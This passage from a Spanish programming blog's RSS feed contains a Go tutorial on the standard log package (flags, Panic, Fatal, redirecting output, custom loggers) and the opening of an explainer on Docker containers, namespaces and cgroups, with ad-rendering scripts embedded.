target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;el-println-de-log&#34;&gt;El Println de log&lt;/h2&gt;&#xA;&lt;p&gt;El paquete log viene integrado en la librería estándar de loggeo y su función más sencilla es el Println que, para fines prácticos, es como el Println de toda la vida pero con algunos beneficios integrados.&lt;/p&gt;&#xA;&lt;p&gt;Por defecto al loggear algo con go nos devolverá la fecha y hora, seguido del mensaje que le pasamos como argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mensaje&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2022/06/28 13:38:25 Mensaje&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El método Println de log se comporta exactamente igual que el de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/&#34;&gt;librería fmt&lt;/a&gt;&#xA;, por lo que puedes pasarle múltiples parámetros y los imprimirá uno a uno.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;flags-en-el-loggeo&#34;&gt;Flags en el loggeo&lt;/h2&gt;&#xA;&lt;p&gt;Es posible cambiar el formato por defecto en el que se muestran los mensajes, cambiar el orden de los elementos o agregarle más información, llamando al método SetFlags y pasándole como argumentos cualquiera que aparezca en una serie de flags que nos provee go.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;SetFlags&lt;/span&gt;(log.Ldate | log.Lshortfile)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mensaje&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2022/06/28 main.go:10: Mensaje&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Existen más flags disponibles, además de los dos anteriores.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;flags-disponibles&#34;&gt;Flags disponibles&lt;/h3&gt;&#xA;&lt;p&gt;Hay flags disponibles para mostrar la ruta completa de nuestro archivo, el número de linea o para mover el prefijo y colocarlo antes del mensaje. Te los dejo a continuación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Ldate         = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;iota&lt;/span&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Fecha en el tiempo local: 2009/01/23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Ltime                         &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Hora en el tiempo local: 01:23:23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Lmicroseconds                 &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Resolución en microsegundos: 01:23:23.123123.  Asume Ltime.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Llongfile                     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Ruta completa del archivo y número de linea: /a/b/c/d.go:23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Lshortfile                    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Archivo y número de linea: d.go:23. Sobreescribe a  Llongfile&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;LUTC                          &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Si ya están Ldate o Ltime usa UTC en lugar del tiempo local&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Lmsgprefix                    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Mueve el prefijo del principio de la linea y lo coloca antes del mensaje. &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;LstdFlags     = Ldate | Ltime &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Los valores iniciales son Ldate y Ltime&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;manejando-errores-con-logging&#34;&gt;Manejando errores con logging&lt;/h2&gt;&#xA;&lt;p&gt;Además de mostrar información, es posible usar métodos, como Panic y Fatal, para manejar los errores de nuestro código.&lt;/p&gt;&#xA;&lt;h3 id=&#34;logging-panic&#34;&gt;Logging Panic&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El método log cuenta con un método Panic que se encarga de imprimir un mensaje y llamar a la función panic.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Panic&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;El sistema se paniquea&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Panic tiene dos variantes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Panicf: El equivalente a Printf, para dar formato con operadores de posición&lt;/li&gt;&#xA;&lt;li&gt;Panicln: El equivalente a Println&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;logging-fatal&#34;&gt;Logging Fatal&lt;/h3&gt;&#xA;&lt;p&gt;Si queremos terminar la ejecución de nuestro programa al momento, sin permitirle al sistema recuperarse, tenemos a nuestra disposición el método Fatal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Fatal&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Error fatal ha ocurrido&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al igual que Panic, Fatal cuenta con dos variantes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fatalf: El equivalente a Printf, para dar formato con operadores de posición&lt;/li&gt;&#xA;&lt;li&gt;Fatalln: El equivalente a Println&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;redirigiendo-la-salida-del-logging&#34;&gt;Redirigiendo la salida del logging&lt;/h2&gt;&#xA;&lt;p&gt;Como te mencioné anteriormente, la librería nos permite redirigir, a través de su método SetOutput, la salida de nuestro logging hacia un destino; ya sea el Stdout, el Stderr, el Stdin o incluso un archivo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;SetOutput&lt;/span&gt;(os.Stdout)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo de arriba estamos redirigiéndolo a la salida estándar.&lt;/p&gt;&#xA;&lt;h3 id=&#34;redirigiendo-hacia-un-archivo&#34;&gt;Redirigiendo hacia un archivo&lt;/h3&gt;&#xA;&lt;p&gt;Para redirigr nuestros logs hacia un archivo, primero necesitamos crearlo y, posteriormente, pasárselo como argumento al métoodo SetOutput, tras esto, todo nuestros logs escribirán en nuestro archivo y podremos consutarlos más tarde.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file, _ &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Create&lt;/span&gt;(name: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;programa.log&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;SetOutput&lt;/span&gt;(file)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mensaje a archivo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;file.&lt;span style=&#34;color:#57c7ff&#34;&gt;Close&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;loggers-personalizados&#34;&gt;Loggers personalizados&lt;/h2&gt;&#xA;&lt;p&gt;El paquete log nos permite crear diferentes tipos de loggers, usando el método New, este método recibe los siguientes argumentos; primero, el destino de nuestros logs, como ya viste, este puede ser hacia el Stdout, el Stderr, el Stdin o un archivo; segundo, el prefijo a mostrar en cada mensaje; tercero, los flags con los que queremos dar formato a nuestros logs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;infoLogger &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; log.&lt;span style=&#34;color:#57c7ff&#34;&gt;New&lt;/span&gt;(os.Stdout, prefix: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;INFO: &amp;#34;&lt;/span&gt;, flags)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez creado nuestro log, podemos llamar a su método Println para que se encargue de mostrarlo en la salida estándar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;infoLogger.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Este es un mensaje de info&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo Funciona un Container de Docker Internamente?</title>
      <link>https://coffeebytes.dev/es/docker/container-de-docker-con-namespaces-y-cgroups/</link>
      <pubDate>Sat, 18 Jun 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/docker/container-de-docker-con-namespaces-y-cgroups/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los containers, especialmente los de Docker, son usados en todos lados, solemos verlos como pequeños sistemas operativos aislados que se encuentran dentro de nuestro sistema. Usando los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;comandos básicos de Docker&lt;/a&gt;&#xA; podemos modificarlos, crearlos, borrrarlos e incluso introducirnos en ellos y correr comandos, pero ¿te has preguntando cómo funcionan internamente?&lt;/p&gt;&#xA;&lt;p&gt;Sabemos que un container es un proceso de linux con varias características:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Es un proceso, o grupo de procesos, de linux ejecutado por un usuario.&lt;/li&gt;&#xA;&lt;li&gt;Está aislado del sistema operativo que lo aloja (&lt;strong&gt;Namespaces&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Tiene una cantidad de recursos limitada (&lt;strong&gt;Cgroups&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Cuenta con un sistema de archivos independiente al del sistema operativo en el que corre (&lt;strong&gt;Chroot&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para lograr lo anterior los docker, y las demás tecnologías de contenedores, echan mano de algunas características de GNU/Linux (de ahora en adelante solo linux):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Procesos&lt;/li&gt;&#xA;&lt;li&gt;Namespaces&lt;/li&gt;&#xA;&lt;li&gt;Cgroups&lt;/li&gt;&#xA;&lt;li&gt;Chroot&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Voy a explicarlos muy brevemente pero tú puedes profundizarlos por tu cuenta si quieres.&lt;/p&gt;&#xA;&lt;h2 id=&#34;los-contenedores-de-docker-usan-procesos-namespaces-y-cgroups-en-linux&#34;&gt;Los contenedores de Docker usan procesos, namespaces y cgroups en linux&lt;/h2&gt;&#xA;&lt;h3 id=&#34;proceso&#34;&gt;Proceso&lt;/h3&gt;&#xA;&lt;p&gt;En palabras simples, un proceso es una instancia de un programa en ejecución. Lo importante aquí es que cada proceso en linux cuenta con PID, que es un número que sirve para identificar el proceso.&lt;/p&gt;&#xA;&lt;p&gt;Como ya sabes, puedes ver los procesos usando los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/#top&#34;&gt;comandos ps, top, htop&lt;/a&gt;&#xA;, etc.&lt;/p&gt;&#xA;&lt;p&gt;Un container es un proceso, o un grupo de procesos, aislados del resto del sistema operativo, por medio de un namespace.&lt;/p&gt;&#xA;&lt;h3 id=&#34;namespace&#34;&gt;Namespace&lt;/h3&gt;&#xA;&lt;p&gt;Un namespace limita lo que podemos ver.&lt;/p&gt;&#xA;&lt;p&gt;Los namespaces son una capa de abstracción de Linux que aisla los recursos del sistema. Los procesos en el interior de un namespace están al tanto de los otros procesos que se encuentran en ese mismo namespace pero los procesos de un namespace no pueden interaccionar con lo que se encuentre fuera de ese namespace. Cada proceso puede pertenecer a un solo namespace.&lt;/p&gt;&#xA;&lt;p&gt;Un namespace es lo que hace que un container se sienta como si fuera otro sistema operativo.&lt;/p&gt;&#xA;&lt;p&gt;En linux, un namespace se desactivará cuando se termine de ejecutar su último proceso.&lt;/p&gt;&#xA;&lt;h4 id=&#34;tipos-de-namespaces-en-linux&#34;&gt;Tipos de namespaces en linux&lt;/h4&gt;&#xA;&lt;p&gt;Existen diferentes tipos de namespaces que controlan los recursos a los que tiene acceso un proceso:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UTS(Unix Time Sharing) namespace: Aisla hostname y dominio.&lt;/li&gt;&#xA;&lt;li&gt;PID namespace: Aisla identificadores de proceso.&lt;/li&gt;&#xA;&lt;li&gt;Mounts namespace: Aisla puntos de montaje.&lt;/li&gt;&#xA;&lt;li&gt;IPC namespace: Aisla recursos de comunicación entre procesos.&lt;/li&gt;&#xA;&lt;li&gt;Network namespace: Aisla recursos de red.&lt;/li&gt;&#xA;&lt;li&gt;User namespace: Aisla identificadores de usuario y de grupos.&lt;/li&gt;&#xA;&lt;li&gt;cgroups: Aisla la vista de /proc/[pid]/cgroup y /proc/[pid]/mountinfo&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Por ejemplo, si usamos un namespace de tipo UTS, los cambios que le hagamos al hostname desde nuestro namespace no afectarán al hostname del sistema operativo principal.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Te ahorraré algo de tiempo. Me costó mucho aprender las bases de Kubernetes, después de ver múltiples videotutoriales (gratuitos y de paga) y leer algunos blogs sobre el tema, encontré este libro, me dio lo que otros recursos no pudieron así que me siento bastante cómodo recomendándolo. ¡Échale un vistazo!\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Kubernetes up and running\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4k0MDga\&#34;,\&#34;linkText\&#34;:\&#34;Consulte el libro Kubernetes up and running en Amazon\&#34;,\&#34;title\&#34;:\&#34;Cual es el mejor recurso para aprender Kubernetes\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;},{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          